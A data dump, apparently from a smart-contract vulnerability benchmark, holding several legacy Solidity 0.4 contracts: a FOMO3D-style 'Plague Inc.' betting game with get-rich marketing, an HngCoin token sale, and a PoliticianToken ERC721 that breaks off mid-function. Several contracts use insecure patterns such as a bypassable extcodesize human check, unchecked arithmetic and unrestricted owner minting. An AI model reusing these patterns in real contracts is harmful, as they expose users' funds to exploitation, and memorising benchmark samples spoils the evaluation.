uint256 dateDiff = now - userPackages[msg.sender].since;
if (dateDiff < userPackages[msg.sender].kindOf.mul(30 days)) {
uint256 fee = withdrawValue.mul(packageType[userPackages[msg.sender].kindOf]['fee']).div(100);
withdrawValue = withdrawValue.sub(fee);
coldWalletAddress.transfer(fee);
userPackages[msg.sender].tokenValue = 0;
}
msg.sender.transfer(withdrawValue);
}
function createRawDeposit(address sender, uint256 _value, uint d, uint since) onlyOwner public {
depositMintSince(sender, _value, d, since);
}
function createDeposit(address sender, uint256 _value, uint d) onlyOwner public {
depositMintAndPay(sender, _value, d);
}
function setRate(uint _newRate) onlyOwner public {
require(_newRate != rate && _newRate > 0);
RateChanged(rate, _newRate);
rate = _newRate;
}
function getRate() public view returns (uint) {
return rate;
}
}
| 165,208 | 120 |
fcf03bbe1e62fee7d2a1d0dc5d0bf0ad66d13646c3b0160ac12e4f6be10e1641
| 25,170 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0xf317a365cfef0aa4357abd057048808a1d430402.sol
| 6,564 | 22,274 |
pragma solidity ^0.4.24;
//================================================================================
// Plague Inc. <Grand prize>
// WARNING!!! WARNING!!! WARNING!!! WARNING!!! WARNING!!! WARNING!!! WARNING!!!
// This game is easy for you to get rich.
// Please prepare enough ETH.
// If you have HEART DISEASE, PLEASE DON'T PLAY.
// If you are Chinese or American, please don't play. YOU ARE TOO RICH.
//
// Plague Inc. , which is abbreviated as PIC by players.
// is developed by a well-known games company who put a lot of effort into R&D.
// One evening, our producer had a hands-on experience on FOMO3D.
// and he was really annoyed by the "unreasonable" numerical settings in FOMO3D.
// He said: "We can make a better one!"
// So we made a better one. ^v^
//
// # It takes less time for investors to get back their capital, while making more
// profit (51% for investor dividends).
// # Introducers can get a high return of 10% (effective in the long term).
// # A lot of investors suffered losses in FOMO3D Quick, which is solved perfectly
// by Plague Inc.
// # A total of 11 players will share the grand prize, you dont have to be the
// last one.
// # Better numerical and time setup, no worries about being in trouble.
//
// 2030 Plague Inc. All Rights Reserved.
// www.plagueinc.io
// Memorial Bittorrent, eDonkey, eMule. Embrace IPFS
// Blockchain will change the world.
//================================================================================
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
contract PlagueEvents {
//infective person
event onInfectiveStage
(address indexed player,
uint256 indexed rndNo,
uint256 keys,
uint256 eth,
uint256 timeStamp,
address indexed inveter);
// become leader during second stage
event onDevelopmentStage
(address indexed player,
uint256 indexed rndNo,
uint256 eth,
uint256 timeStamp,
address indexed inveter);
// award
event onAward
(address indexed player,
uint256 indexed rndNo,
uint256 eth,
uint256 timeStamp);
}
contract Plague is PlagueEvents{
using SafeMath for *;
using KeysCalc for uint256;
struct Round {
uint256 eth; // total eth
uint256 keys; // total keys
uint256 startTime; // start time
uint256 endTime; // end time
uint256 infectiveEndTime; // infective end time
address leader; // leader
address infectLastPlayer; // the player will award 10% eth
address [11] lastInfective; // the lastest 11 infective
address [4] loseInfective; // the lose infective
bool [11] infectiveAward_m; //
uint256 totalInfective; // the count of this round
uint256 inveterAmount; // remain inveter amount of this round
uint256 lastRoundReward; // last round remain eth 10% + eth 4% - inveterAmount + last remain award
uint256 exAward; // development award
}
struct PlayerRound {
uint256 eth; // eth player has added to round
uint256 keys; // keys
uint256 withdraw; // how many eth has been withdraw
uint256 getInveterAmount; // inverter amount
uint256 hasGetAwardAmount; // player has get award amount
}
uint256 public rndNo = 1; // current round number
uint256 public totalEth = 0; // total eth in all round
uint256 constant private rndInfectiveStage_ = 12 hours; // round timer at infective stage 12 hours;
uint256 constant private rndInfectiveReadyTime_ = 30 minutes; // round timer at infective stage ready time
uint256 constant private rndDevelopmentStage_ = 15 minutes; // round timer at development stage 30 minutes;
uint256 constant private rndDevelopmentReadyTime_ = 12 hours; // round timer at development stage ready time 1 hours;
uint256 constant private allKeys_ = 15000000 * (10 ** 18); // all keys count
uint256 constant private allEths_ = 18703123828125000000000; // all eths count
uint256 constant private rndIncreaseTime_ = 3 hours; // increase time 3 hours
uint256 constant private developmentAwardPercent = 1; // 0.1% reduction every 3 hours
mapping (uint256 => Round) public round_m; // (rndNo => Round)
mapping (uint256 => mapping (address => PlayerRound)) public playerRound_m; // (rndNo => addr => PlayerRound)
address public owner; // owner address
address public receiver = address(0); // receive eth address
uint256 public ownerWithdraw = 0; // how many eth has been withdraw by owner
bool public isStartGame = false; // start game flag
constructor()
public
{
owner = msg.sender;
}
modifier onlyHuman()
{
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth)
{
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
modifier onlyOwner()
{
require(owner == msg.sender, "only owner can do it");
_;
}
function isHuman(address _addr) private view returns (bool)
{
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
return _codeLength == 0;
}
function buyKeys(address _inveter) private
{
uint256 _eth = msg.value;
uint256 _now = now;
uint256 _rndNo = rndNo;
uint256 _ethUse = msg.value;
if (_now > round_m[_rndNo].endTime)
{
require(round_m[_rndNo].endTime + rndDevelopmentReadyTime_ < _now, "we should wait some time");
uint256 lastAwardEth = (round_m[_rndNo].eth.mul(14) / 100).sub(round_m[_rndNo].inveterAmount);
if(round_m[_rndNo].totalInfective < round_m[_rndNo].lastInfective.length)
{
uint256 nextPlayersAward = round_m[_rndNo].lastInfective.length.sub(round_m[_rndNo].totalInfective);
uint256 _totalAward = round_m[_rndNo].eth.mul(30) / 100;
_totalAward = _totalAward.add(round_m[_rndNo].lastRoundReward);
if(round_m[_rndNo].infectLastPlayer != address(0))
{
lastAwardEth = lastAwardEth.add(nextPlayersAward.mul(_totalAward.mul(3)/100));
}
else
{
lastAwardEth = lastAwardEth.add(nextPlayersAward.mul(_totalAward.mul(4)/100));
}
}
_rndNo = _rndNo.add(1);
rndNo = _rndNo;
round_m[_rndNo].startTime = _now;
round_m[_rndNo].endTime = _now + rndInfectiveStage_;
round_m[_rndNo].totalInfective = 0;
round_m[_rndNo].lastRoundReward = lastAwardEth;
}
// infective or second stage
if (round_m[_rndNo].keys < allKeys_)
{
// infection stage
uint256 _keys = (round_m[_rndNo].eth).keysRec(_eth);
if (_keys.add(round_m[_rndNo].keys) >= allKeys_)
{
_keys = allKeys_.sub(round_m[_rndNo].keys);
if (round_m[_rndNo].eth >= allEths_)
{
_ethUse = 0;
}
else {
_ethUse = (allEths_).sub(round_m[_rndNo].eth);
}
if (_eth > _ethUse)
{
// refund
msg.sender.transfer(_eth.sub(_ethUse));
}
else {
// fix
_ethUse = _eth;
}
// first stage is over, record current time
round_m[_rndNo].infectiveEndTime = _now.add(rndInfectiveReadyTime_);
round_m[_rndNo].endTime = _now.add(rndDevelopmentStage_).add(rndInfectiveReadyTime_);
round_m[_rndNo].infectLastPlayer = msg.sender;
}
else
{
require (_keys >= 1 * 10 ** 19, "at least 10 thound people");
round_m[_rndNo].endTime = _now + rndInfectiveStage_;
}
round_m[_rndNo].leader = msg.sender;
// update playerRound
playerRound_m[_rndNo][msg.sender].keys = _keys.add(playerRound_m[_rndNo][msg.sender].keys);
playerRound_m[_rndNo][msg.sender].eth = _ethUse.add(playerRound_m[_rndNo][msg.sender].eth);
// update round
round_m[_rndNo].keys = _keys.add(round_m[_rndNo].keys);
round_m[_rndNo].eth = _ethUse.add(round_m[_rndNo].eth);
// update global variable
totalEth = _ethUse.add(totalEth);
// event
emit PlagueEvents.onInfectiveStage
(msg.sender,
_rndNo,
_keys,
_ethUse,
_now,
_inveter);
} else {
// second stage
require(round_m[_rndNo].infectiveEndTime < _now, "The virus is being prepared...");
// increase 0.05 Ether every 3 hours
_ethUse = (((_now.sub(round_m[_rndNo].infectiveEndTime)) / rndIncreaseTime_).mul(5 * 10 ** 16)).add((5 * 10 ** 16));
require(_eth >= _ethUse, "Ether amount is wrong");
if(_eth > _ethUse)
{
msg.sender.transfer(_eth.sub(_ethUse));
}
round_m[_rndNo].endTime = _now + rndDevelopmentStage_;
round_m[_rndNo].leader = msg.sender;
// update playerRound
playerRound_m[_rndNo][msg.sender].eth = _ethUse.add(playerRound_m[_rndNo][msg.sender].eth);
// update round
round_m[_rndNo].eth = _ethUse.add(round_m[_rndNo].eth);
// update global variable
totalEth = _ethUse.add(totalEth);
// update development award
uint256 _exAwardPercent = ((_now.sub(round_m[_rndNo].infectiveEndTime)) / rndIncreaseTime_).mul(developmentAwardPercent).add(developmentAwardPercent);
if(_exAwardPercent >= 410)
{
_exAwardPercent = 410;
}
round_m[_rndNo].exAward = (_exAwardPercent.mul(_ethUse) / 1000).add(round_m[_rndNo].exAward);
// event
emit PlagueEvents.onDevelopmentStage
(msg.sender,
_rndNo,
_ethUse,
_now,
_inveter);
}
// caculate share inveter amount
if(_inveter != address(0) && isHuman(_inveter))
{
playerRound_m[_rndNo][_inveter].getInveterAmount = playerRound_m[_rndNo][_inveter].getInveterAmount.add(_ethUse.mul(10) / 100);
round_m[_rndNo].inveterAmount = round_m[_rndNo].inveterAmount.add(_ethUse.mul(10) / 100);
}
round_m[_rndNo].loseInfective[round_m[_rndNo].totalInfective % 4] = round_m[_rndNo].lastInfective[round_m[_rndNo].totalInfective % 11];
round_m[_rndNo].lastInfective[round_m[_rndNo].totalInfective % 11] = msg.sender;
round_m[_rndNo].totalInfective = round_m[_rndNo].totalInfective.add(1);
}
function buyKeyByAddr(address _inveter)
onlyHuman()
isWithinLimits(msg.value)
public
payable
{
require(isStartGame == true, "The game hasn't started yet.");
buyKeys(_inveter);
}
function()
onlyHuman()
isWithinLimits(msg.value)
public
payable
{
require(isStartGame == true, "The game hasn't started yet.");
buyKeys(address(0));
}
function awardByRndNo(uint256 _rndNo)
onlyHuman()
public
{
require(isStartGame == true, "The game hasn't started yet.");
require(_rndNo <= rndNo, "You're running too fast");
uint256 _ethOut = 0;
uint256 _totalAward = round_m[_rndNo].eth.mul(30) / 100;
_totalAward = _totalAward.add(round_m[_rndNo].lastRoundReward);
_totalAward = _totalAward.add(round_m[_rndNo].exAward);
uint256 _getAward = 0;
//withdraw award
uint256 _totalWithdraw = round_m[_rndNo].eth.mul(51) / 100;
_totalWithdraw = _totalWithdraw.sub(round_m[_rndNo].exAward);
_totalWithdraw = (_totalWithdraw.mul(playerRound_m[_rndNo][msg.sender].keys));
_totalWithdraw = _totalWithdraw / round_m[_rndNo].keys;
uint256 _inveterAmount = playerRound_m[_rndNo][msg.sender].getInveterAmount;
_totalWithdraw = _totalWithdraw.add(_inveterAmount);
uint256 _withdrawed = playerRound_m[_rndNo][msg.sender].withdraw;
if(_totalWithdraw > _withdrawed)
{
_ethOut = _ethOut.add(_totalWithdraw.sub(_withdrawed));
playerRound_m[_rndNo][msg.sender].withdraw = _totalWithdraw;
}
//lastest infect player
if(msg.sender == round_m[_rndNo].infectLastPlayer && round_m[_rndNo].infectLastPlayer != address(0) && round_m[_rndNo].infectiveEndTime != 0)
{
_getAward = _getAward.add(_totalAward.mul(10)/100);
}
if(now > round_m[_rndNo].endTime)
{
// finally award
if(round_m[_rndNo].leader == msg.sender)
{
_getAward = _getAward.add(_totalAward.mul(60)/100);
}
//finally ten person award
for(uint256 i = 0;i < round_m[_rndNo].lastInfective.length; i = i.add(1))
{
if(round_m[_rndNo].lastInfective[i] == msg.sender && (round_m[_rndNo].totalInfective.sub(1) % 11) != i){
if(round_m[_rndNo].infectiveAward_m[i])
continue;
if(round_m[_rndNo].infectLastPlayer != address(0))
{
_getAward = _getAward.add(_totalAward.mul(3)/100);
}
else{
_getAward = _getAward.add(_totalAward.mul(4)/100);
}
round_m[_rndNo].infectiveAward_m[i] = true;
}
}
}
_ethOut = _ethOut.add(_getAward.sub(playerRound_m[_rndNo][msg.sender].hasGetAwardAmount));
playerRound_m[_rndNo][msg.sender].hasGetAwardAmount = _getAward;
if(_ethOut != 0)
{
msg.sender.transfer(_ethOut);
}
// event
emit PlagueEvents.onAward
(msg.sender,
_rndNo,
_ethOut,
now);
}
function getPlayerAwardByRndNo(uint256 _rndNo, address _playAddr)
view
public
returns (uint256, uint256, uint256, uint256)
{
uint256 _ethPlayerAward = 0;
//withdraw award
uint256 _totalWithdraw = round_m[_rndNo].eth.mul(51) / 100;
_totalWithdraw = _totalWithdraw.sub(round_m[_rndNo].exAward);
_totalWithdraw = (_totalWithdraw.mul(playerRound_m[_rndNo][_playAddr].keys));
_totalWithdraw = _totalWithdraw / round_m[_rndNo].keys;
uint256 _totalAward = round_m[_rndNo].eth.mul(30) / 100;
_totalAward = _totalAward.add(round_m[_rndNo].lastRoundReward);
_totalAward = _totalAward.add(round_m[_rndNo].exAward);
//lastest infect player
if(_playAddr == round_m[_rndNo].infectLastPlayer && round_m[_rndNo].infectLastPlayer != address(0) && round_m[_rndNo].infectiveEndTime != 0)
{
_ethPlayerAward = _ethPlayerAward.add(_totalAward.mul(10)/100);
}
if(now > round_m[_rndNo].endTime)
{
// finally award
if(round_m[_rndNo].leader == _playAddr)
{
_ethPlayerAward = _ethPlayerAward.add(_totalAward.mul(60)/100);
}
//finally ten person award
for(uint256 i = 0;i < round_m[_rndNo].lastInfective.length; i = i.add(1))
{
if(round_m[_rndNo].lastInfective[i] == _playAddr && (round_m[_rndNo].totalInfective.sub(1) % 11) != i)
{
if(round_m[_rndNo].infectLastPlayer != address(0))
{
_ethPlayerAward = _ethPlayerAward.add(_totalAward.mul(3)/100);
}
else{
_ethPlayerAward = _ethPlayerAward.add(_totalAward.mul(4)/100);
}
}
}
}
return
(_ethPlayerAward,
_totalWithdraw,
playerRound_m[_rndNo][_playAddr].getInveterAmount,
playerRound_m[_rndNo][_playAddr].hasGetAwardAmount + playerRound_m[_rndNo][_playAddr].withdraw);
}
function feeWithdraw()
onlyHuman()
public
{
require(isStartGame == true, "The game hasn't started yet.");
require(receiver != address(0), "The receiver address has not been initialized.");
uint256 _total = (totalEth.mul(5) / (100));
uint256 _withdrawed = ownerWithdraw;
require(_total > _withdrawed, "No need to withdraw");
ownerWithdraw = _total;
receiver.transfer(_total.sub(_withdrawed));
}
function startGame()
onlyOwner()
public
{
require(isStartGame == false, "The game has already started!");
round_m[1].startTime = now;
round_m[1].endTime = now + rndInfectiveStage_;
round_m[1].lastRoundReward = 0;
isStartGame = true;
}
function changeReceiver(address newReceiver)
onlyOwner()
public
{
receiver = newReceiver;
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256[2], uint256[3], address[2], uint256[6], address[11], address[4])
{
uint256 _rndNo = rndNo;
uint256 _totalAwardAtRound = round_m[_rndNo].lastRoundReward.add(round_m[_rndNo].exAward).add(round_m[_rndNo].eth.mul(30) / 100);
return (_rndNo,
[round_m[_rndNo].eth, round_m[_rndNo].keys],
[round_m[_rndNo].startTime, round_m[_rndNo].endTime, round_m[_rndNo].infectiveEndTime],
[round_m[_rndNo].leader, round_m[_rndNo].infectLastPlayer],
[getBuyPrice(), round_m[_rndNo].lastRoundReward, _totalAwardAtRound, round_m[_rndNo].inveterAmount, round_m[_rndNo].totalInfective % 11, round_m[_rndNo].exAward],
round_m[_rndNo].lastInfective,
round_m[_rndNo].loseInfective);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rndNo = rndNo;
uint256 _now = now;
// start next round?
if (_now > round_m[_rndNo].endTime)
{
return (750007031250000);
}
if (round_m[_rndNo].keys < allKeys_)
{
return ((round_m[_rndNo].keys.add(10000000000000000000)).ethRec(10000000000000000000));
}
if(round_m[_rndNo].keys >= allKeys_ &&
round_m[_rndNo].infectiveEndTime != 0 &&
round_m[_rndNo].infectLastPlayer != address(0) &&
_now < round_m[_rndNo].infectiveEndTime)
{
return 5 * 10 ** 16;
}
if(round_m[_rndNo].keys >= allKeys_ && _now > round_m[_rndNo].infectiveEndTime)
{
// increase 0.05 Ether every 3 hours
uint256 currentPrice = (((_now.sub(round_m[_rndNo].infectiveEndTime)) / rndIncreaseTime_).mul(5 * 10 ** 16)).add((5 * 10 ** 16));
return currentPrice;
}
//second stage
return (0);
}
}
library KeysCalc {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
| 221,637 | 121 |
e98947d4d6822efa69ecdc8351d447f8ba21a54efe19328196f368fe82071ba2
| 13,918 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xc3c412b97dc3355f1bd060223e75fb047c869197.sol
| 2,438 | 10,160 |
pragma solidity ^0.4.16;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
// function balanceOf(address _owner) constant returns (uint256 balance) {
// return balances[_owner];
// }
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract HngCoin {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
uint256 public coinunits; // How many units of your coin can be bought by 1 ETH?
uint256 public ethereumWei;
address public tokensWallet; // Safe Address could be changed so owner isnt same address
address public owner; // Safe Address could be changed so owner isnt same address
address public salesaccount; // Where should the raised ETH be sent to?
uint256 public sellPrice; //sellprice if need be we ever call rates that are dynamic from api
uint256 public buyPrice; //sellprice if need be we ever call rates that are dynamic from api
//uint256 public investreturns;
bool public isActive; //check if we are seling or not
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
//event TransferSender(address indexed _from, address indexed _to, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
function HngCoin(uint256 initialSupply,
string tokenName,
string tokenSymbol) public {
//initialSupply = 900000000000000000000000000;
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = "HNGCOIN"; // Set the name for display purposes
symbol = "HNGC"; // Set the symbol for display purposes
coinunits = 100; // Set the price of your token for the ICO (CHANGE THIS)
tokensWallet = msg.sender;
salesaccount = msg.sender;
ethereumWei = 1000000000000000000; // The owner of the contract gets ETH
isActive = true; //set true or false for sale or not
owner = msg.sender;
}
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
//function sendit(address _to, uint256 _value) public returns (bool success) {}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function multiply(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
// change salesaccount address
function salesAddress(address sales) public returns (bool success){
require(msg.sender == tokensWallet);
salesaccount = sales;
return true;
}
// change units address
function coinsUnit(uint256 amount) public returns (bool success){
require(msg.sender == tokensWallet);
coinunits = amount;
return true;
}
// transfer balance to owner withdraw owner
function withdrawEther(uint256 amount) public returns (bool success){
require(msg.sender == tokensWallet);
//require(msg.value == multiply(amount, ethereumWei));
amount = amount * ethereumWei;
salesaccount.transfer(amount);
return true;
}
function startSale() external {
require(msg.sender == owner);
isActive = true;
}
function stopSale() external {
require(msg.sender == owner);
isActive = false;
}
function() payable public {
// ethereumWei = ethereumWei + msg.value;
// investreturns = msg.value + ethereumWei;
//investreturns = investreturns + msg.value;
//investreturns = investreturns + msg.value;
require(isActive);
uint256 amount = msg.value * coinunits;
//uint256 amount = 100000000000000000;
require(balanceOf[tokensWallet] >= amount);
balanceOf[tokensWallet] -= amount;
balanceOf[msg.sender] += amount;
Transfer(tokensWallet, msg.sender, amount); // Broadcast a message to the blockchain
//Transfer ether to tokensWallet
// tokensWallet.transfer(msg.value);
// _transfer(msg.sender, tokensWallet, msg.value);
}
}
contract HngCoinSale is owned, HngCoin {
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function HngCoinSale(uint256 initialSupply,
string tokenName,
string tokenSymbol) HngCoin(initialSupply, tokenName, tokenSymbol) public {}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newSellPrice Price the users can sell to the contract
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function multiply(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
/// @notice Sell `amount` tokens to contract
/// @param amount amount of tokens to be sold
}
| 185,057 | 122 |
f7ab8a941aa7fedcf987df86244e8fac40235cc9ce24c218103d226dc400e797
| 16,348 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x476c331d7f6569dc4bd16ef6673f7a89cd6f37c3.sol
| 4,265 | 15,584 |
pragma solidity ^0.4.18; // solhint-disable-line
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author Dieter Shirley <dete@axiomzen.co> (https://github.com/dete)
contract ERC721 {
// Required methods
function approve(address _to, uint256 _tokenId) public;
function balanceOf(address _owner) public view returns (uint256 balance);
function implementsERC721() public view returns (bool);
function ownerOf(uint256 _tokenId) public view returns (address addr);
function takeOwnership(uint256 _tokenId) public;
function totalSupply() public view returns (uint256 total);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
event Transfer(address indexed from, address indexed to, uint256 tokenId);
event Approval(address indexed owner, address indexed approved, uint256 tokenId);
// Optional
// function name() public view returns (string name);
// function symbol() public view returns (string symbol);
// function tokenMetadata(uint256 _tokenId) public view returns (string infoUrl);
}
contract PoliticianToken is ERC721 {
/// @dev The Birth event is fired whenever a new politician comes into existence.
event Birth(uint256 tokenId, string name, address owner);
/// @dev The TokenSold event is fired whenever a token is sold.
event TokenSold(uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address newOwner, string name);
/// @dev Transfer event as defined in current draft of ERC721.
/// ownership is assigned, including births.
event Transfer(address from, address to, uint256 tokenId);
/// @dev Emitted when a bug is found int the contract and the contract is upgraded at a new address.
/// In the event this happens, the current contract is paused indefinitely
event ContractUpgrade(address newContract);
/// @notice Name and symbol of the non fungible token, as defined in ERC721.
string public constant NAME = "CryptoPoliticians"; // solhint-disable-line
string public constant SYMBOL = "POLITICIAN"; // solhint-disable-line
bool private erc721Enabled = false;
uint256 private startingPrice = 0.001 ether;
uint256 private constant PROMO_CREATION_LIMIT = 5000;
uint256 private firstStepLimit = 0.05 ether;
uint256 private secondStepLimit = 0.5 ether;
uint256 private thirdStepLimit = 2.0 ether;
/// @dev A mapping from politician IDs to the address that owns them. All politicians have
/// some valid owner address.
mapping (uint256 => address) public politicianIndexToOwner;
// @dev A mapping from owner address to count of tokens that address owns.
// Used internally inside balanceOf() to resolve ownership count.
mapping (address => uint256) private ownershipTokenCount;
/// @dev A mapping from PoliticianIDs to an address that has been approved to call
/// transferFrom(). Each Politician can only have one approved address for transfer
/// at any time. A zero value means no approval is outstanding.
mapping (uint256 => address) public politicianIndexToApproved;
// @dev A mapping from PoliticianIDs to the price of the token.
mapping (uint256 => uint256) private politicianIndexToPrice;
// The addresses of the accounts (or contracts) that can execute actions within each roles.
address public ceoAddress;
address public cooAddress;
uint256 public promoCreatedCount;
struct Politician {
//name of the politician
string name;
}
Politician[] private politicians;
/// @dev Access modifier for CEO-only functionality
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
/// @dev Access modifier for COO-only functionality
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyERC721() {
require(erc721Enabled);
_;
}
/// Access modifier for contract owner only functionality
modifier onlyCLevel() {
require(msg.sender == ceoAddress ||
msg.sender == cooAddress);
_;
}
function PoliticianToken() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
}
/// @notice Grant another address the right to transfer token via takeOwnership() and transferFrom().
/// @param _to The address to be granted transfer approval. Pass address(0) to
/// clear all approvals.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function approve(address _to,
uint256 _tokenId) public onlyERC721 {
// Caller must own token.
require(_owns(msg.sender, _tokenId));
politicianIndexToApproved[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
/// For querying balance of a particular account
/// @param _owner The address for balance query
/// @dev Required for ERC-721 compliance.
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownershipTokenCount[_owner];
}
/// @dev Creates a new promo Politician with the given name and _price and assignes it to an address.
function createPromoPolitician(address _owner, string _name, uint256 _price) public onlyCOO {
require(promoCreatedCount < PROMO_CREATION_LIMIT);
address politicianOwner = _owner;
if (politicianOwner == address(0)) {
politicianOwner = cooAddress;
}
if (_price <= 0) {
_price = startingPrice;
}
promoCreatedCount++;
_createPolitician(_name, politicianOwner, _price);
}
/// @dev Creates a new Politician with the given name
function createContractPolitician(string _name) public onlyCOO {
_createPolitician(_name, address(this), startingPrice);
}
/// @notice Returns all the relevant information about a specific politician.
/// @param _tokenId The tokenId of the politician of interest.
function getPolitician(uint256 _tokenId) public view returns (string politicianName,
uint256 sellingPrice,
address owner) {
Politician storage politician = politicians[_tokenId];
politicianName = politician.name;
sellingPrice = politicianIndexToPrice[_tokenId];
